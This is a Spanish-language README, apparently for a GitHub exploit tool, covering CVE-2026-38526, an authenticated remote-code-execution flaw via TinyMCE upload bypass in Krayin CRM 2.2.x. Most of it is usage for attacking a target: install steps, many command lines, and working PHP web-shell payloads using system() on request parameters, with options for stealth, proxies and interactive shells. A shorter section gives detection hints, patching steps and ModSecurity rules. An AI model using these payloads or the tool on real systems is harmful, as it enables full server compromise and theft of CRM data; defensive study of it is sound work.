
Exploit para CVE-2026-38526 en Krayin CRM v2.2.x - RCE autenticado mediante bypass de carga de archivos en TinyMCE. Incluye shell interactiva, payloads de múltiples tipos, generación automática de shell y verificación. Autor: Sudeepa Wanigarathna. Solo para pruebas autorizadas.
⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS - El uso no autorizado es ilegal y poco ético.
Esta herramienta de explotación demuestra una vulnerabilidad crítica de ejecución remota de código (RCE) autenticada descubierta en Krayin CRM versión 2.2.x. La vulnerabilidad existe en la funcionalidad de carga de archivos de TinyMCE, que permite a administradores autenticados cargar y ejecutar código PHP arbitrario en el servidor.
| Propiedad | Valor |
|---|
| ID CVE | CVE-2026-38526 |
| Software afectado | Krayin CRM v2.2.x |
| Tipo de vulnerabilidad | Ejecución Remota de Código Autenticada (RCE) |
| Autenticación requerida | Sí (Acceso a nivel de administrador) |
| Impacto | Compromiso completo del sistema |
| Puntuación CVSS | 8.8 (Alto) |
La vulnerabilidad se origina por una validación insuficiente del tipo de archivo en el endpoint de carga de archivos de TinyMCE (/admin/tinymce/upload). Un administrador autenticado puede:
bashPython 3.7+pip install httpx beautifulsoup4 coloramagit clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt
requirements.txt)httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
python3 exploit.py -t <TARGET_URL> -u <USUARIO> -p <CONTRASEÑA> [OPCIONES]
| Parámetro | Descripción |
|---|---|
-t, --target | URL objetivo (ej., http://192.168.1.100) |
-u, --username | Nombre de usuario o correo del administrador |
-p, --password | Contraseña del administrador |
# Explotación básica con shell generada
python3 exploit.py -t http://target.com -u [email protected] -p password
# Cargar archivo PHP de shell personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php
# Generar shell avanzada con modo interactivo
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i
# Generar archivo de shell sin explotación
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php
# Usar con proxy para pruebas/depuración
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080
# Salida JSON para automatización
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json
# Modo detallado con tiempo de espera personalizado
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60
# User-Agent y cabeceras personalizadas
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"
Shell Básica (basic)
Ejecución simple de comandos con la función system().
<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
Shell Avanzada (advanced)
Shell rica en funciones con:
Shell Mínima (minimal)
Huella mínima para sigilo.
<?php system($_GET["cmd"]); ?>
Administrador de Archivos (file_manager)
Interfaz completa de gestión de archivos:
Shell Personalizada (custom)
Usa tu propio archivo PHP de shell con el parámetro -f.
Salida coloreada legible para humanos, adecuada para uso interactivo.
-o json)Formato legible por máquinas para automatización e integración.
{
"success": true,
"shell_url": "http://target.com/shell.php",
"upload_url": "/storage/upload/shell.php",
"message": "Upload successful",
"timestamp": 1699123456.789,
"details": {
"status_code": 200,
"response": "..."
}
}
-q, --quiet)Sin salida excepto errores. Útil para procesamiento por lotes.
| Opción | Descripción | Predeterminado |
|---|---|---|
--timeout | Tiempo de espera de solicitud en segundos | 30 |
--retry | Número de intentos de reintento | 3 |
--retry-delay | Demora entre reintentos en segundos | 2 |
--user-agent | Cadena User-Agent personalizada | UA de navegador predeterminado |
--header | Cabeceras HTTP personalizadas (Clave: Valor) | Ninguna |
--verify-ssl | Verificar certificados SSL | Falso |
--proxy | URL de proxy HTTP/HTTPS | Ninguno |
-v, --verbose | Habilitar salida de depuración | Falso |
-q, --quiet | Suprimir toda la salida | Falso |
--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"
Archivos a Monitorear:
public/storage/upload/image.php.jpg)Registros a Revisar:
/admin/tinymce/uploadIndicadores del Sistema:
Acciones Inmediatas:
# Actualizar a la versión parcheada
composer update krayin/crm
# Deshabilitar acceso de administrador temporalmente
# Eliminar cuentas de administrador innecesarias
# Cambiar todas las contraseñas de administrador
Endurecimiento de Carga de Archivos:
// Validar tipo de archivo por contenido, no solo por extensión
// Implementar política de seguridad de contenido
// Usar Firewall de Aplicaciones Web (WAF)
// Habilitar escaneo de carga de archivos
Control de Acceso:
# Restringir IPs de administrador en .htaccess
# Implementar MFA para cuentas de administrador
# Auditoría regular de administradores
# Políticas de tiempo de espera de sesión
Reglas WAF (ModSecurity):
# Bloquear cargas de archivos sospechosas
SecRule FILES "\.(php|phtml|php[0-9])" "id:1001,deny,status:403,msg:'Carga de archivo PHP bloqueada'"
# Bloquear shells web
SecRule ARGS "system|exec|shell_exec|passthru" "id:1002,deny,status:403,msg:'Comando de shell bloqueado'"
Esta vulnerabilidad fue descubierta a través de investigación de seguridad responsable. El proceso de divulgación siguió estos pasos:
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESSED OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE.
USE OF THIS TOOL FOR ANY PURPOSE OTHER THAN AUTHORIZED SECURITY TESTING
IS ILLEGAL AND UNETHICAL. THE AUTHOR TAKES NO RESPONSIBILITY FOR
UNAUTHORIZED USE OR ANY DAMAGES CAUSED BY THIS TOOL.
Problema: Falla de autenticación
/admin/loginProblema: Falla en la carga de archivos
Problema: La shell no ejecuta comandos
php.iniecho testProblema: Errores de certificado SSL
--verify-ssl o desactiva la verificación# Habilitar registro detallado
python3 exploit.py -t http://target.com -u admin -p pass -v
# Con proxy (Burp Suite, etc.)
python3 exploit.py -t http://target.com -u admin -p pass --proxy http://127.0.0.1:8080
¡Las contribuciones son bienvenidas! Por favor, asegúrate de:
Si encuentras útil esta herramienta para la investigación de seguridad, por favor considera:
Creado con ❤️ para la Investigación de Seguridad
Recuerda: Un gran poder conlleva una gran responsabilidad. ¡Usa este conocimiento sabiamente!
# Referencia rápida
python3 exploit.py -t URL -u USER -p PASS [OPCIONES]
# Opciones:
# -f FILE Cargar shell personalizada
# --shell-type TYPE Básica|Avanzada|Mínima|Administrador_de_Archivos|Personalizada
# -i Modo interactivo
# --proxy URL Proxy HTTP
# -v Salida detallada
# -o json Salida JSON
# --generate-only Crear shell sin explotar
# --timeout SEC Tiempo de espera de solicitud
# --retry N Número de reintentos
# --user-agent UA User-Agent personalizado
# --header "K: V" Cabeceras personalizadas
# --verify-ssl Verificar certificados SSL
# -q, --quiet Suprimir salida
🔒 Recuerda: ¡Siempre obtén permiso por escrito antes de probar cualquier sistema!